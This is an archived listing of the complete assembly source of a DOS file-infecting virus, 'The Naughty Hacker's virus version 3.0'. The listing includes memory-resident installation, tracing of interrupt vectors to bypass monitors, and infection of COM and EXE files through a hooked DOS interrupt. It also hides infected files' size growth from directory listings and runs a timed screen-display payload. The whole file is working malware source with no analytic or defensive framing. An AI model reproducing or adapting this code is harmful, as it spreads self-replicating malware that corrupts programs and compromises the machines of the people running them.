home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / HORSE5.ASM < prev    next >
Assembly Source File  |  1980-01-01  |  12KB  |  866 lines

  1.     .radix    16
  2.  
  3.     ;WARNING: THIS IS NOT A BASIC RELEASE BUT A WORK COPY!
  4.     ;It seems that somebody had steal this version and
  5.     ;circulates it now.
  6.  
  7.     title    The Naughty Hacker's virus version 3.0
  8.     comment / Naughty Hacker wishes you the best ! /
  9.  
  10.     jmp    start
  11.  
  12.     virlen    equ    offset endcode-offset begin
  13.     alllen    equ    offset buffer-offset begin
  14.  
  15. begin   label word
  16.  
  17.     IP_save dw    20cdh
  18.     CS_save dw    ?
  19.     SS_save dw    ?
  20.     far_push dw    ?
  21.     ident    db    'C'
  22. start:
  23.     call    inf
  24. inf:
  25.     pop    bp
  26.     sub    bp,offset start-offset begin+3
  27.     push    es
  28.     push    ds
  29.     mov    es,es:[2]
  30.     mov    di,start-begin
  31.     push    ds
  32.     push    cs
  33.     pop    ds
  34.     mov    si,di
  35.     add    si,bp
  36.     mov    cx,endcode-inf
  37.     cld
  38.     rep    cmpsb
  39.     pop    ds
  40.     push    ds
  41.     pop    es
  42.     je    run
  43. ina:
  44.     cmp    word ptr [0],20cdh
  45.     je    urud
  46.     jmp    run
  47. urud:
  48.     mov    word ptr cs:[bp+handle-begin],0ffff
  49.     mov    word ptr cs:[bp+counter-begin],2345
  50.     mov    ax,ds
  51.     dec    ax
  52.     mov    ds,ax
  53.     sub    word ptr [3],80
  54.     mov    ax,es:[2]
  55.     sub    ax,80
  56.     mov    es:[2],ax
  57.     push    ax
  58.  
  59.     sub    di,di
  60.     mov    si,bp
  61.     mov    ds,di
  62.     pop    es
  63.     push    cs
  64.     pop    ds
  65.     mov    cx,alllen
  66.     rep    movsb
  67.     push    cs
  68.     mov    ax,offset run-begin
  69.     add    ax,bp
  70.     push    ax
  71.     push    es
  72.     mov    ax,offset inss-100-3
  73.     push    ax
  74.     retf
  75. run:
  76.     pop    ds
  77.     pop    es
  78.     cmp    byte ptr cs:[bp+ident-begin],'C'
  79.     je    comfile
  80.     mov    dx,cs:[bp+CS_save-begin]
  81.     mov    cx,cs
  82.     sub    cx,word ptr cs:[bp+far_push-begin]
  83.     add    dx,cx
  84.     add    cx,cs:[bp+SS_save-begin]
  85.     cli
  86.     mov    ss,cx
  87.     sti
  88. clear:
  89.     push    dx
  90.     push    word ptr cs:[bp+IP_save-begin]
  91.     call    clearr
  92.     retf
  93. comfile:
  94.     mov    ax,cs:[bp+IP_save-begin]
  95.     mov    [100],ax
  96.     mov    ax,cs:[bp+CS_save-begin]
  97.     mov    [102],ax
  98.     mov    ax,100
  99.     push    ax
  100.     call    clearr
  101.     retn
  102. cur:
  103.     call    exec
  104.     push    bx
  105.     push    es
  106.     push    si
  107.     push    ax
  108.     mov    si,dx
  109.     cmp    byte ptr [si],0ff
  110.     jne    puf
  111.     mov    ah,2f
  112.     call    exec
  113.  
  114.     mov    al,byte ptr es:[bx+22d+7+1]
  115.     and    al,31d
  116.     cmp    al,31d
  117.     jnz    puf
  118.     cmp    word ptr es:[bx+28d+2+7+1],0
  119.     jne    scs
  120.     cmp    word ptr es:[bx+28d+7+1],virlen*2
  121.     jb    puf
  122. scs:
  123.     sub    word ptr es:[bx+28d+7+1],virlen
  124.     sbb    word ptr es:[bx+28d+2+7+1],0
  125. puf:
  126.     pop    ax
  127.     pop    si
  128.     pop    es
  129.     pop    bx
  130.     iret
  131.  
  132. inff:
  133.     dec    word ptr cs:[counter-begin]
  134.     jnz    neass
  135.     call    shop
  136. neass:
  137.     cmp    ah,11
  138.     je    cur
  139.     cmp    ah,12
  140.     je    cur
  141.  
  142.     cmp    ah,4e
  143.     jne    cur1.1
  144.     jmp    cur1
  145. cur1.1:
  146.     cmp    ah,4f
  147.     jne    cur1.2
  148.     jmp    cur1
  149. cur1.2:
  150.     cmp    ah,3ch
  151.     je    create
  152.     cmp    ah,5bh
  153.     je    create
  154.  
  155.     push    ax
  156.     push    bx
  157.     push    cx
  158.     push    dx
  159.     push    si
  160.     push    di
  161.     push    bp
  162.     push    ds
  163.     push    es
  164.  
  165.     mov    byte ptr cs:[function-begin],ah
  166.  
  167.     cmp    ah,3dh
  168.     je    open
  169.  
  170.     cmp    ah,3e
  171.     je    close_
  172.  
  173.     cmp    ax,4b00
  174.     je    execute
  175.  
  176.     cmp    ah,17
  177.     je    ren_FCB
  178.  
  179.     cmp    ah,56
  180.     je    execute
  181.  
  182.     cmp    ah,43
  183.     je    execute
  184.  
  185. here:
  186.     pop    es
  187.     pop    ds
  188.     pop    bp
  189.     pop    di
  190.     pop    si
  191.     pop    dx
  192.     pop    cx
  193.     pop    bx
  194.     pop    ax
  195.     jmp    dword ptr cs:[current_21h-begin]
  196.  
  197. ren_FCB:
  198.     call    transfer
  199.     call    coont
  200.     jmp    here
  201.  
  202. create:
  203.     call    exec
  204.     mov    word ptr cs:[handle-begin],ax
  205.     db    0ca,2,0
  206. close_:
  207.     cmp    word ptr cs:[handle-begin],0ffff
  208.     je    here
  209.     cmp    bx,word ptr cs:[handle-begin]
  210.     jne    here
  211.     mov    ah,45
  212.     call    coont
  213.     mov    word ptr cs:[handle-begin],0ffff
  214.     jmp    here
  215. execute:
  216.     mov    ah,3dh
  217.     call    coont
  218.     jmp    here
  219. open:
  220.     call    coont
  221.     jmp    here
  222. cur1:
  223.     call    exec
  224.     pushf
  225.     push    ax
  226.     push    bx
  227.     push    es
  228.  
  229.     mov    ah,2f
  230.     call    exec
  231.  
  232.     mov    al,es:[bx+22d]
  233.     and    al,31d
  234.     cmp    al,31d
  235.     jne    puf1
  236.  
  237.     cmp    es:[bx+28d],0
  238.     jne    scs1
  239.     cmp    es:[bx+26d],virlen*2
  240.     jb    puf1
  241. scs1:
  242.     sub    es:[bx+26d],virlen
  243.     sbb    es:[bx+28d],0
  244. puf1:
  245.     pop    es
  246.     pop    bx
  247.     pop    ax
  248.     popf
  249.     db    0ca,2,0 ;retf 2
  250. coont:
  251.     call    exec
  252.     jnc    ner
  253.     ret
  254. ner:
  255.     mov    bp,ax
  256.     mov    byte ptr cs:[flag-begin],0
  257.     mov    ah,54
  258.     call    exec
  259.     mov    byte ptr cs:[veri-begin],al
  260.     cmp    al,1
  261.     jne    rty
  262.     mov    ax,2e00
  263.     call    exec
  264. rty:
  265.     mov    ax,3508
  266.     call    exec
  267.     mov    word ptr cs:[current_08h-begin],bx
  268.     mov    word ptr cs:[current_08h-begin+2],es
  269.     push    bx
  270.     push    es
  271.     mov    al,21
  272.     call    exec
  273.     push    bx
  274.     push    es
  275.     mov    al,24
  276.     call    exec
  277.     push    bx
  278.     push    es
  279.     mov    al,13
  280.     call    exec
  281.     push    bx
  282.     push    es
  283.     mov    ah,25
  284.     mov    dx,int13h-begin
  285.     push    cs
  286.     pop    ds
  287.     call    exec
  288.     mov    al,21
  289.     lds    dx,cs:[org_21h-begin]
  290.     call    exec
  291.     mov    al,24
  292.     push    cs
  293.     pop    ds
  294.     mov    dx,int24h-begin
  295.     int    21
  296.     mov    al,8
  297.     mov    dx,int08h-begin
  298.     int    21
  299.     mov    bx,bp
  300.     push    bx
  301.     mov    ax,1220
  302.     call    exec2f
  303.     mov    bl,es:[di]
  304.     mov    ax,1216
  305.     call    exec2f
  306.     pop    bx
  307.     add    di,11
  308.     mov    byte ptr es:[di-15d],2
  309.     mov    ax,es:[di]
  310.     mov    dx,es:[di+2]
  311.     cmp    dx,0
  312.     jne    contss
  313.     cmp    ax,virlen
  314.     jnb    contss
  315.     jmp    close
  316. contss:
  317.     cmp    byte ptr cs:[function-begin],3dh
  318.     jne    hhh
  319.     push    di
  320.     add    di,0f
  321.     mov    si,offset fname-begin
  322.     cld
  323.     mov    cx,8+3
  324.     rep    cmpsb
  325.     pop    di
  326.     jne    hhh
  327.     jmp    close
  328. hhh:
  329.     cmp    es:[di+18],'MO'
  330.     jne    a2
  331.     jmp    com
  332. a2:
  333.     cmp    es:[di+18],'EX'
  334.     je    a8
  335.     jmp    close
  336. a8:
  337.     cmp    byte ptr es:[di+17],'E'
  338.     je    a3
  339.     jmp    close
  340. a3:
  341.     call    cont
  342.     cmp    word ptr [si],'ZM'
  343.     je    okk
  344.     cmp    word ptr [si],'MZ'
  345.     je    okk
  346.     jmp    close
  347.  okk:
  348.     cmp    word ptr [si+0c],0
  349.     jne    uuu
  350.     jmp    close
  351. uuu:
  352.     mov    cx,[si+16]
  353.     add    cx,[si+8]
  354.     mov    ax,10
  355.     mul    cx
  356.     add    ax,[si+14]
  357.     adc    dx,0
  358.     mov    cx,es:[di+2]
  359.     sub    cx,dx
  360.     or    cx,cx
  361.     jnz    usm
  362.     mov    cx,es:[di]
  363.     sub    cx,ax
  364.     cmp    cx,virlen-(start-begin)
  365.     jne    usm
  366.     jmp    close
  367. usm:
  368.     mov    byte ptr [ident-begin],'E'
  369.     mov    ax,[si+0e]
  370.     mov    [SS_save-begin],ax
  371.     mov    ax,[si+14]
  372.     mov    [IP_save-begin],ax
  373.     mov    ax,[si+16]
  374.     mov    [CS_save-begin],ax
  375.     mov    ax,es:[di]
  376.     mov    dx,es:[di+2]
  377.     add    ax,virlen
  378.     adc    dx,0
  379.     mov    cx,200
  380.     div    cx
  381.     mov    [si+2],dx
  382.     or    dx,dx
  383.     jz    oj
  384.     inc    ax
  385. oj:
  386.     mov    [si+4],ax
  387.     mov    ax,es:[di]
  388.     mov    dx,es:[di+2]
  389.  
  390.     mov    cx,4    ;  This could be so:
  391.     mov    bp,ax    ;
  392.     and    bp,0fh    ;  mov  cx,10
  393. lpp:            ;  div  cx
  394.     shr    dx,1    ;
  395.     rcr    ax,1    ;
  396.     loop    lpp    ;
  397.     mov    dx,bp    ;
  398.  
  399.     sub    ax,[si+8]
  400.     add    dx,start-begin
  401.     adc    ax,0
  402.     mov    [si+14],dx
  403.     mov    [si+16],ax
  404.     mov    word ptr [far_push-begin],ax
  405.     add    ax,200
  406.     mov    [si+0eh],ax
  407.  write:
  408.     sub    cx,cx
  409.     mov    es:[di+4],cx
  410.     mov    es:[di+6],cx
  411.     push    es:[di-2]
  412.     push    es:[di-4]
  413.     xchg    cx,es:[di-0dh]
  414.     push    cx
  415.     mov    ah,40
  416.     mov    dx,buffer-begin
  417.     mov    cx,01bh
  418.     int    21
  419.     cmp    byte ptr cs:[flag-begin],0ff
  420.     jne    ghj
  421.     stc
  422.     jc    exit
  423. ghj:
  424.     mov    ax,es:[di]
  425.     mov    es:[di+4],ax
  426.     mov    ax,es:[di+2]
  427.     mov    es:[di+6],ax
  428.     call    com?
  429.     jne    f2
  430.     sub    es:[di+4],virlen
  431.     sbb    es:[di+6],0
  432. f2:
  433.     mov    ah,40
  434.     sub    dx,dx
  435.     mov    cx,virlen
  436.     int    21
  437.     cmp    byte ptr cs:[flag-begin],0ff
  438.     jne    exit
  439.     stc
  440.  exit:
  441.     pop    cx
  442.     mov    es:[di-0dh],cx
  443.     pop    cx
  444.     pop    dx
  445.     or    byte ptr es:[di-0bh],40
  446.     jc    closed
  447.     call    com?
  448.     jne    f3
  449.     and    cx,31d
  450.     or    cx,2
  451.     jmp    closed
  452. f3:
  453.     or    cx,31d
  454. closed:
  455.     mov    ax,5701
  456.     int    21
  457. close:
  458.     mov    ah,3e
  459.     int    21
  460.     or    byte ptr es:[di-0ch],40
  461.  
  462.     push    es
  463.     pop    ds
  464.     mov    si,di
  465.     add    si,0f
  466.     mov    di,offset fname-begin
  467.     push    cs
  468.     pop    es
  469.     mov    cx,8+3
  470.     cld
  471.     rep    movsb
  472.     push    cs
  473.     pop    ds
  474.  
  475.     cmp    byte ptr cs:[flag-begin],0ff
  476.     jne    qw
  477.     mov    ah,0dh
  478.     int    21
  479. qw:
  480.     cmp    byte ptr cs:[veri-begin],1
  481.     jne    rtyyu
  482.     mov    ax,2e01
  483.     call    exec
  484. rtyyu:
  485.     sub    ax,ax
  486.     mov    ds,ax
  487.     cli
  488.     pop    [13*4+2]
  489.     pop    [13*4]
  490.     pop    [24*4+2]
  491.     pop    [24*4]
  492.     pop    [21*4+2]
  493.     pop    [21*4]
  494.     pop    [8*4+2]
  495.     pop    [8*4]
  496.     sti
  497.     retn
  498.  com:
  499.     test    byte ptr es:[di-0dh],4
  500.     jz    esc4
  501.     jmp    close
  502. esc4:
  503.     call    cont
  504.     cmp    byte ptr [si],0e9
  505.     jne    usm2
  506.     mov    ax,es:[di]
  507.         sub     ax,[si+1]
  508.     cmp    ax,virlen-(start-begin-3)
  509.     jne    usm2
  510.     jmp    close
  511. usm2:
  512.     push    si
  513.     cmp    byte ptr es:[di+17],'C'
  514.     jne    esc
  515.     mov    byte ptr [ident-begin],'C'
  516.     lodsw
  517.     mov    cs:[IP_save-begin],ax
  518.     lodsw
  519.     mov    cs:[CS_save-begin],ax
  520.     mov    ax,es:[di]
  521.     cmp    ax,65535d-virlen-1
  522.     pop    si
  523.     jb    esc
  524.     jmp    close
  525. esc:
  526.     add    ax,start-begin-3
  527.     call    com?
  528.     jne    f1
  529.     sub    ax,virlen
  530. f1:
  531.     mov    byte ptr [si],0e9
  532.     mov    word ptr [si+1],ax
  533.     jmp    write
  534. inss:
  535.  
  536.     sub    ax,ax
  537.     mov    ds,ax
  538.  
  539.     pushf
  540.     pop    ax
  541.     and    ax,0feff
  542.     push    ax
  543.     popf
  544.  
  545.     pushf
  546.  
  547.     mov    [1*4],offset trap-begin
  548.     mov    [1*4+2],cs
  549.  
  550.     pushf
  551.     pop    ax
  552.     or    ax,100
  553.     push    ax
  554.     popf
  555.  
  556.     mov    ax,0ffff
  557.     call    dword ptr [21h*4]
  558.  
  559.     sub    ax,ax
  560.     mov    ds,ax
  561.  
  562.     pushf
  563.     pop    ax
  564.     and    ax,0feff
  565.     push    ax
  566.     popf
  567.  
  568.     pushf
  569.  
  570.     mov    [1*4],offset trap2-begin
  571.     mov    [1*4+2],cs
  572.  
  573.     pushf
  574.     pop    ax
  575.     or    ax,100
  576.     push    ax
  577.     popf
  578.  
  579.     mov    ax,0ffff
  580.     call    dword ptr [2fh*4]
  581.  
  582.     sub    ax,ax
  583.     mov    ds,ax
  584.  
  585.     pushf
  586.     pop    ax
  587.     and    ax,0feff
  588.     push    ax
  589.     popf
  590.  
  591.     pushf
  592.  
  593.     mov    [1*4],offset trap3-begin
  594.     mov    [1*4+2],cs
  595.  
  596.     pushf
  597.     pop    ax
  598.     or    ax,100
  599.     push    ax
  600.     popf
  601.  
  602.     sub    ax,ax
  603.     call    dword ptr [13h*4]
  604.  
  605.     sub    ax,ax
  606.     mov    ds,ax
  607.  
  608.     les    ax,[21*4]
  609.     mov    word ptr cs:[current_21h-begin],ax
  610.     mov    word ptr cs:[current_21h-begin+2],es
  611.     mov    [21*4],offset inff-begin
  612.     mov    [21*4+2],cs
  613.     retf
  614.  
  615. trap:
  616.     push    bp
  617.     mov    bp,sp
  618.     push    bx
  619.     cmp    [bp+4],300
  620.     ja    exit2
  621.     mov    bx,[bp+2]
  622.     mov    word ptr cs:[org_21h-begin],bx
  623.     mov    bx,[bp+4]
  624.     mov    word ptr cs:[org_21h-begin+2],bx
  625.     and    [bp+6],0feff
  626. exit2:
  627.     pop    bx
  628.     pop    bp
  629.     iret
  630.  
  631. trap2:
  632.     push    bp
  633.     mov    bp,sp
  634.     push    bx
  635.     cmp    [bp+4],100
  636.     ja    exit3
  637.     mov    bx,[bp+2]
  638.     mov    word ptr cs:[org_2fh-begin],bx
  639.     mov    bx,[bp+4]
  640.     mov    word ptr cs:[org_2fh-begin+2],bx
  641.     and    [bp+6],0feff
  642. exit3:
  643.     pop    bx
  644.     pop    bp
  645.     iret
  646.  
  647.  
  648. trap3:
  649.     push    bp
  650.     mov    bp,sp
  651.     push    bx
  652.     cmp    [bp+4],0C800
  653.     jb    exit4
  654.     mov    bx,[bp+2]
  655.     mov    word ptr cs:[org_13h-begin],bx
  656.     mov    bx,[bp+4]
  657.     mov    word ptr cs:[org_13h-begin+2],bx
  658.     and    [bp+6],0feff
  659. exit4:
  660.     pop    bx
  661.     pop    bp
  662.     iret
  663.  
  664. exec:
  665.     pushf
  666.     call    dword ptr cs:[org_21h-begin]
  667.     ret
  668.  
  669.  
  670. exec2f:
  671.     pushf
  672.     call    dword ptr cs:[org_2fh-begin]
  673.     ret
  674. int08h:
  675.     pushf
  676.     call    dword ptr cs:[current_08h-begin]
  677.     push    ax
  678.     push    ds
  679.     sub    ax,ax
  680.     mov    ds,ax
  681.     cli
  682.     mov    [13*4],offset int13h-begin
  683.     mov    [13*4+2],cs
  684.     mov    [8*4],offset int08h-begin
  685.     mov    [8*4+2],cs
  686.     mov    ax,word ptr cs:[org_21h-begin]
  687.     mov    [21*4],ax
  688.     mov    ax,word ptr cs:[org_21h-begin+2]
  689.     mov    [21*4+2],ax
  690.     mov    [24*4],offset int24h-begin
  691.     mov    [24*4+2],cs
  692.     sti
  693.     pop    ds
  694.     pop    ax
  695.     iret
  696. int24h:
  697.     mov    al,3
  698.     iret
  699. int13h:
  700.     pushf
  701.     call    dword ptr cs:[org_13h-begin]
  702.     jnc    dfg
  703.     mov    byte ptr cs:[flag-begin],0ff
  704. dfg:
  705.     clc
  706.     db    0ca,02,0    ;retf 2
  707.  
  708. cont:
  709.     sub    ax,ax
  710.     mov    es:[di+4],ax
  711.     mov    es:[di+6],ax
  712.     mov    ah,3f
  713.     mov    cx,01bh
  714.     mov    dx,offset buffer-begin
  715.     mov    si,dx
  716.     int    21
  717.     cmp    byte ptr cs:[flag-begin],0ff
  718.     jne    a1
  719.     stc
  720.     pop    ax
  721.     jmp    close
  722. a1:
  723.         ret
  724. com?:
  725.     cmp    es:[di+0f],'OC'
  726.     jne    zz
  727.     cmp    es:[di+11],'MM'
  728.     jne    zz
  729.     cmp    es:[di+13],'NA'
  730.     jne    zz
  731.     cmp    es:[di+15],' D'
  732.     jne    zz
  733.     cmp    es:[di+17],'OC'
  734.     jne    zz
  735.     cmp    byte ptr es:[di+19],'M'
  736. zz:
  737.     ret
  738. transfer:
  739.  
  740.     cld
  741.     inc    dx
  742.     mov    si,dx
  743.     mov    di,offset buffer-begin
  744.     push    di
  745.     push    cs
  746.     pop    es
  747.     mov    cx,8
  748.     rep    movsb
  749.     mov    al,'.'
  750.     stosb
  751.     mov    cx,3
  752.     rep    movsb
  753.     mov    al,0
  754.     stosb
  755.     pop    dx
  756.     push    cs
  757.     pop    ds
  758.     mov    ax,3d00
  759.     ret
  760. e1:
  761.     cli
  762.     push ax
  763.     push    di
  764.     push    es
  765.     mov    ax,0b800
  766.     mov    es,ax
  767.     mov    ax,word ptr cs:[pos-begin]
  768.     push    ax
  769.     call    comp
  770.     mov    ax,word ptr cs:[strg-begin]
  771.     stosw
  772.     pop    ax
  773.  
  774.     or    ah,ah
  775.     jz    s3
  776.  
  777.     cmp    ah,24d
  778.     jb    s1
  779. s3:
  780.     neg    byte ptr cs:[y-begin]
  781. s1:
  782.     or    al,al
  783.     jz    s4
  784.  
  785.     cmp    al,79d
  786.     jb    s2
  787. s4:
  788.     neg    byte ptr cs:[x-begin]
  789. s2:
  790.         mov     ah,byte ptr cs:[y-begin]
  791.     mov    al,byte ptr cs:[x-begin]
  792.     add    byte ptr cs:[pos+1-begin],ah
  793.     add    byte ptr cs:[pos-begin],al
  794.     mov    ax,word ptr cs:[pos-begin]
  795.     call    comp
  796.     mov    ax,es:[di]
  797.     mov    word ptr cs:[strg-begin],ax
  798.     mov    es:[di],0f07
  799.     pop    es
  800.     pop    di
  801.     pop    ax
  802.     sti
  803.     iret
  804. comp:
  805.     push    ax
  806.     push    bx
  807.     sub    bh,bh
  808.     mov    bl,al
  809.     mov    al,160d
  810.     mul    ah
  811.     add    ax,bx
  812.     add    ax,bx
  813.     mov    di,ax
  814.     pop    bx
  815.     pop    ax
  816.     ret
  817. shop:
  818.     push    ax
  819.     push    ds
  820.     mov    byte ptr cs:[x-begin],0ff
  821.     mov    byte ptr cs:[y-begin],0ff
  822.     mov    word ptr cs:[pos-begin],1013
  823.     mov    ax,0003
  824.     int    10
  825.     sub    ax,ax
  826.     mov    ds,ax
  827.     cli
  828.     mov    [1c*4],offset e1-begin
  829.     mov    [1c*4+2],cs
  830.     sti
  831.     pop    ds
  832.     pop    ax
  833.     ret
  834. clearr:
  835.     sub    ax,ax
  836.     sub    bx,bx
  837.     sub    cx,cx
  838.     sub    dx,dx
  839.     sub    si,si
  840.     sub    di,di
  841.     sub    bp,bp
  842.     ret
  843.  
  844. db    666d    ;Foolish ?!! -> dw 666d
  845.  
  846. db    55,0AA
  847.  
  848. endcode label    word
  849.  
  850.     current_21h    dd ?
  851.     current_08h    dd ?
  852.     org_2fh dd    ?
  853.     org_13h dd    ?
  854.     org_21h dd    ?
  855.     flag    db    ?
  856.     veri    db    ?
  857.     handle    dw    0ffff
  858.     fname    db    8+3 dup (?)
  859.     function db    ?
  860.     pos    dw    ?
  861.     x    db    ?
  862.     y    db    ?
  863.     strg    dw    ?
  864.     counter dw    ?
  865.  
  866. buffer    label word